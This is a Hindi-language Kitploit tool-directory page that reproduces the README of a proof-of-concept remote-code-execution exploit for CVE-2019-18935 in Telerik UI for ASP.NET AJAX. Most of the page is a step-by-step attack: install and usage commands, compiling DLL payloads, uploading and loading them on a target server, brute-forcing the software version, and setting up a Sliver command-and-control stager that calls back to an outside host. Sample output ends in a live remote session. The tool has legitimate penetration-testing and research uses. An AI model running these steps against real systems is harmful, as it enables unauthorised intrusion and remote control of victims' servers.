Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2019-18935 — Telerik UI for ASP.NET AJAX में .NET JSON deserialization भेद्यता के लिए RCE एक्सप्लॉइट। | Kitploit
उपकरण/GitHubGitHub/noperator/cve-2019-18935
भेद्यता विश्लेषणशोषणशेलकोडवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंगपेलोड डेवलपमेंट
GitHubnoperator/cve-2019-18935

CVE-2019-18935

Telerik UI for ASP.NET AJAX में .NET JSON deserialization भेद्यता के लिए RCE एक्सप्लॉइट।

रिपॉजिटरी देखें
373884 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2019-18935

Telerik UI for ASP.NET AJAX में एक .NET JSON डिसीरियलाइज़ेशन भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो रिमोट कोड निष्पादन की अनुमति देता है।

विवरण

Telerik UI for ASP.NET AJAX वेब अनुप्रयोगों के लिए UI घटकों का एक व्यापक रूप से उपयोग किया जाने वाला सुइट है। यह JSON ऑब्जेक्ट्स को असुरक्षित रूप से डिसीरियलाइज़ करता है, जिसके परिणामस्वरूप सॉफ़्टवेयर के अंतर्निहित होस्ट पर मनमाना रिमोट कोड निष्पादन होता है। अधिक जानकारी के लिए, देखें:

  • DerpCon वार्ता .NET Roulette (स्लाइड्स) जो असुरक्षित डिसीरियलाइज़ेशन के शोषण के अतिरिक्त मूल सिद्धांतों का विवरण देती है, उसे इस एक्सप्लॉइट पर लागू करती है, और ASP.NET वेब अनुप्रयोगों पर शेल प्राप्त करने के लिए कुछ टिप्स और ट्रिक्स बताती है।
  • Bishop Fox पर पूर्ण लेख, जिसमें इस भेद्यता का संपूर्ण वॉकथ्रू और इस समस्या के एक्सप्लॉइट विवरण (पैचिंग निर्देशों सहित) शामिल हैं।

आरंभ करना

पूर्वापेक्षाएँ

build-dll.bat का उपयोग करके मिक्स्ड-मोड .NET असेंबली DLL पेलोड संकलित करने के लिए आपके पास Visual Studio और .NET Framework SDK इंस्टॉल होना आवश्यक है।

इंस्टॉल

root@kitploit:~
git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt

यह एक्सप्लॉइट RAU_crypto से एन्क्रिप्शन लॉजिक का उपयोग करता है। RAU_crypto.py के भीतर RAUCipher क्लास PyCryptodome पर निर्भर करती है, जो मृत PyCrypto मॉड्यूल का ड्रॉप-इन विकल्प है। PyCryptodome और PyCrypto एक ही वातावरण में इंस्टॉल होने पर समस्याएँ उत्पन्न करते हैं, इसलिए इस निर्भरता को पूरा करने का सर्वोत्तम तरीका मॉड्यूल को वर्चुअल वातावरण के भीतर इंस्टॉल करना है, जैसा ऊपर दिखाया गया है।

कॉन्फ़िगर

build-dll.bat की पंक्ति 17 को अपने Visual Studio इंस्टॉलेशन के पथ पर इंगित करें।

root@kitploit:~
set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build

उपयोग

root@kitploit:~
$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
                         [-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
                         [-f FOLDER] -u URL

Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.

optional arguments:
  -h, --help          show this help message and exit
  -t                  just upload a file
  -d                  just deserialize
  -r FILENAME_REMOTE  remote payload name, for optional use with -d
  -s SMB_SERVER       remote SMB server, for optional use with -d
  -v UI_VERSION       software version
  -n NET_VERSION      .NET version
  -p PAYLOAD          mixed mode assembly DLL
  -f FOLDER           destination folder on target
  -u URL              https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau

मिक्स्ड मोड .NET असेंबली DLL पेलोड संकलित करें

कुछ पेलोड (जैसे, reverse-shell.c और sliver-stager.c) के लिए आपको अपने C2 सर्वर की ओर इंगित करने हेतु HOST और PORT फ़ील्ड सेट करना आवश्यक है—ऐसा करना सुनिश्चित करें!

Visual Studio इंस्टॉल किए हुए Windows वातावरण में, डिसीरियलाइज़ेशन के दौरान पेलोड के रूप में उपयोग हेतु 32- और 64-बिट मिक्स्ड मोड असेंबली DLL उत्पन्न करने के लिए build-dll.bat का उपयोग करें। आप वैकल्पिक रूप से दूसरे CLI तर्क के रूप में लक्ष्य CPU आर्किटेक्चर निर्दिष्ट कर सकते हैं (जैसे, x86)।

root@kitploit:~
build-dll.bat sleep.c

पेलोड को लक्ष्य पर अपलोड करें और अनुप्रयोग में लोड करें

CVE-2019-18935.py को ऊपर उत्पन्न DLL पास करें, जो DLL को लक्ष्य सर्वर पर एक निर्देशिका में अपलोड करेगा (बशर्ते कि वेब सर्वर के पास उस निर्देशिका में लेखन अनुमतियाँ हों) और फिर असुरक्षित डिसीरियलाइज़ेशन एक्सप्लॉइट के माध्यम से उस DLL को अनुप्रयोग में लोड करेगा।

root@kitploit:~
$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name:  sleep-2019121205271355-x86.dll
[*] Destination folder:  C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll

{'fileInfo': {'ContentLength': 75264,
              'ContentType': 'application/octet-stream',
              'DateJson': '1970-01-01T00:00:00.000Z',
              'FileName': '1576142987.918625.dll',
              'Index': 0},
 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
                                     'Telerik.Web.UI, Version=<VERSION>, '
                                     'Culture=neutral, '
                                     'PublicKeyToken=<TOKEN>',
              'TempFileName': '1576142987.918625.dll'}}

[*] Triggering deserialization...

<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...

[*] Response time: 13.01 seconds

उपरोक्त उदाहरण में, अनुप्रयोग को प्रतिक्रिया देने में कम से कम 10 सेकंड लगे, जो दर्शाता है कि DLL पेलोड ने सफलतापूर्वक Sleep(10000) को कॉल किया।

Telerik UI संस्करण ब्रूट-फोर्स करें

जैसा कि DerpCon वार्ता .NET Roulette (39:46) में विस्तार से बताया गया है, हम फ़ाइल अपलोड करते समय केवल Telerik.Web.UI असेंबली का मुख्य (major) संस्करण (अर्थात, पूर्ण संस्करण स्ट्रिंग 2017.2.503.40 का 2017 भाग) निर्दिष्ट करके Telerik UI संस्करण को ब्रूट-फोर्स कर सकते हैं। यह तकनीक इस सॉफ़्टवेयर के प्रत्येक विशिष्ट रिलीज़ को ब्रूट-फोर्स करने की तुलना में खोज स्थान को काफी कम कर देती है—और, एक अतिरिक्त लाभ के रूप में, यह उन संस्करणों का भी पता लगा सकती है जो इस सॉफ़्टवेयर के रिलीज़ इतिहास में स्पष्ट रूप से सूचीबद्ध नहीं हैं। MSDN पर .NET असेंबली वर्ज़निंग के बारे में अधिक जानें।

root@kitploit:~
$ for YEAR in $(seq 2013 2018); do
    echo -n "$YEAR: "
    python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
    grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
    echo
done

2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:

Sliver C2 फ्रेमवर्क के साथ इम्प्लांट करें

कस्टम Sliver स्टेजर पेलोड sliver-stager.c, Metasploit के स्टेजिंग प्रोटोकॉल का पालन करते हुए, Sliver सर्वर (स्टेजिंग सर्वर) से Sliver शेलकोड (स्टेज) प्राप्त करता है और निष्पादित करता है। यह कैसे काम करता है इसके अधिक विवरण के लिए, पेलोड स्रोत में हेडर पढ़ें।

Sliver सर्वर प्रारंभ करें। सर्वर सेटअप पर अधिक जानकारी यहाँ।

root@kitploit:~
MINGW_PATH='/usr/bin'  # Or wherever MinGW is located.
export SLIVER_CC_32="$MINGW_PATH/i686-w64-mingw32-gcc"
export SLIVER_CC_64="$MINGW_PATH/x86_64-w64-mingw32-gcc"
./sliver-server

Sliver सर्वर पर C2 एंडपॉइंट खोलें (हम यहाँ mTLS लिसनर का उपयोग कर रहे हैं, लेकिन आप HTTP या DNS का भी उपयोग कर सकते हैं), एक इम्प्लांट प्रोफ़ाइल बनाएँ, और उस प्रोफ़ाइल से जुड़ा एक स्टेजिंग लिसनर बनाएँ। स्टेज्ड पेलोड पर अधिक जानकारी यहाँ। ध्यान दें कि हम Sliver के दस्तावेज़ीकरण के सुझाव अनुसार generate stager का उपयोग करके Sliver स्टेजर उत्पन्न नहीं कर रहे हैं; हम इसके बजाय अपने कस्टम sliver-stager.c का उपयोग कर रहे हैं।

⚠️ चेतावनी: गलत CPU आर्किटेक्चर का स्टेज भेजने से लक्ष्य प्रक्रिया क्रैश हो जाएगी! उदाहरण के लिए, यदि लक्ष्य Telerik UI का 32-बिट संस्करण चला रहा है और स्टेजिंग सर्वर 32-बिट स्टेजर को 64-बिट स्टेज भेजता है, तो वेब सर्वर प्रक्रिया क्रैश हो जाएगी। निम्नलिखित उदाहरण में, हम 32-बिट शेलकोड उत्पन्न करते हैं—लेकिन आपको इसे new-profile कमांड के --arch फ्लैग का उपयोग करके अपने लक्ष्य के CPU आर्किटेक्चर से मेल खाना होगा।

root@kitploit:~
sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1

sliver > new-profile --mtls <C2-ENDPOINT>:<PORT> --arch x86 --format shellcode --profile-name shellcode-32 --skip-symbols
[*] Saved new profile shellcode-32

sliver > stage-listener --url tcp://<STAGING-SERVER>:<PORT> --profile shellcode-32
[*] No builds found for profile shellcode-32, generating a new one
[*] Job 2 (tcp) started

Sliver सर्वर की ओर इंगित करने के लिए Sliver स्टेजर स्रोत में होस्ट और पोर्ट सेट करें (नीचे एक उदाहरण सर्वर दिखाया गया है)।

root@kitploit:~
sed -Ei .bu 's/<HOST>/sliverserver.bishopfox.com/; s/<PORT>/443/' sliver-stager.c

Sliver स्टेजर पेलोड संकलित करें, और पेलोड को लक्ष्य पर अपलोड करें तथा इसे अनुप्रयोग में लोड करें (सब कुछ इस README के पूर्ववर्ती उपयोग अनुभागों के अनुसार)।

root@kitploit:~
> .\build-dll.bat sliver-stager.c x86

$ python3 CVE-2019-18935.py -v 2017 -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -p payloads/sliver-stager-2020080514261722-x86.dll

यदि सब कुछ ठीक रहा (क्या आपने इस लक्ष्य का समस्या निवारण किया है?), तो आप अपनी Sliver सर्वर विंडो में एक सत्र निर्मित देखेंगे जिसका उपयोग आप लक्ष्य के साथ बातचीत करने के लिए कर सकते हैं।

root@kitploit:~
[*] Session #1 AFRAID_COMPUTER - <REMOTE-ADDRESS> (DESKTOP-D19S4Q2) - windows/386 - Wed, 05 Aug 2020 15:58:27 UTC

sliver > use 1

[*] Active session AFRAID_COMPUTER (1)

sliver (AFRAID_COMPUTER) > help

Commands:
=========
  clear  clear the screen
  exit   exit the shell
  help   use 'help [command]' for command help
  ...
  whoami             Get session user execution context

sliver (AFRAID_COMPUTER) > whoami

DESKTOP-D19S4Q2\tester

समस्या निवारण

  • प्रत्येक पेलोड केवल एक बार काम करता है—.NET AssemblyInstaller क्लास समान असेंबली नाम (जो फ़ाइलनाम से भिन्न होता है) वाली कई .NET असेंबली लोड नहीं कर सकती। जब भी आप लक्ष्य को स्लीप कराना, कॉल बैक कराना आदि चाहते हैं, तो आपको एक नया पेलोड संकलित और अपलोड करना होगा।
  • सुनिश्चित करें कि आप सही CPU आर्किटेक्चर (32- या 64-बिट) को लक्षित कर रहे हैं। इसमें कुछ अनुमान लगाना पड़ सकता है; स्लीप पेलोड यहाँ उपयोगी है।
  • अपने C2 सर्वर पर वापस रिवर्स TCP कनेक्शन आरंभ करने का प्रयास करते समय लक्ष्य नेटवर्क पर ईग्रेस फ़िल्टरिंग नियमों से सावधान रहें। 443 जैसा सामान्यतः अनुमत TCP पोर्ट चुनें।

परिशिष्ट

कानूनी अस्वीकरण

पूर्व पारस्परिक सहमति के बिना लक्ष्यों पर हमला करने के लिए इस टूल का उपयोग अवैध है। सभी लागू स्थानीय, राज्य और संघीय कानूनों का पालन करना अंतिम उपयोगकर्ता की ज़िम्मेदारी है। डेवलपर्स कोई दायित्व नहीं मानते हैं और इस प्रोग्राम के कारण होने वाले किसी भी दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं हैं।

आभार

@mwulftange ने प्रारंभ में इस भेद्यता की खोज की। @bao7uo ने RadAsyncUpload एन्क्रिप्शन को तोड़ने का संपूर्ण लॉजिक लिखा, जिसने rauPostData में फ़ाइल अपलोड कॉन्फ़िगरेशन ऑब्जेक्ट में हेरफेर करना और उसके बाद उस ऑब्जेक्ट के असुरक्षित डिसीरियलाइज़ेशन का शोषण करना संभव बनाया। @lesnuages ने Sliver स्टेजर पेलोड का पहला संस्करण लिखा।

यह भी देखें

सरकारी सलाह

  • 28 जुलाई 2021: CISA | नियमित रूप से शोषित शीर्ष भेद्यताएँ
  • 20 अक्टूबर 2020: NSA | चीनी राज्य-प्रायोजित अभिनेता सार्वजनिक रूप से ज्ञात भेद्यताओं का शोषण करते हैं
  • 19 जून 2020: ACSC | कॉपी-पेस्ट समझौते – कई ऑस्ट्रेलियाई नेटवर्कों को लक्षित करने हेतु प्रयुक्त रणनीतियाँ, तकनीकें और प्रक्रियाएँ
  • 22 मई 2020: ACSC | परिष्कृत अभिनेताओं द्वारा Telerik UI के भेद्य संस्करणों में RCE भेद्यता का सक्रिय रूप से शोषण

बग बाउंटी लेख

  • HackerOne रिपोर्ट #1174185 (@un4gi)
  • HackerOne रिपोर्ट #838196 (@sw33tLie)
  • HackerOne रिपोर्ट #913695 (@un4gi)

कार्य सूची

  • Sliver इम्प्लांट को अपलोड और निष्पादित करने हेतु पेलोड जोड़ें
  • इंटरैक्टिव शेल खोलने के बजाय वैकल्पिक रूप से एकल कमांड चलाने हेतु C पेलोड समायोजित करें
  • समान लक्ष्य के लिए पुनः संकलन से बचने हेतु पहले से संकलित DLL का असेंबली नाम संशोधित करें
  • मुख्य Telerik UI संस्करणों (अर्थात, संस्करण स्ट्रिंग का वर्ष भाग) का ब्रूट-फोर्स प्रदर्शित करें

लाइसेंस

यह परियोजना Apache License के अंतर्गत लाइसेंस प्राप्त है।

टूल डाउनलोड करें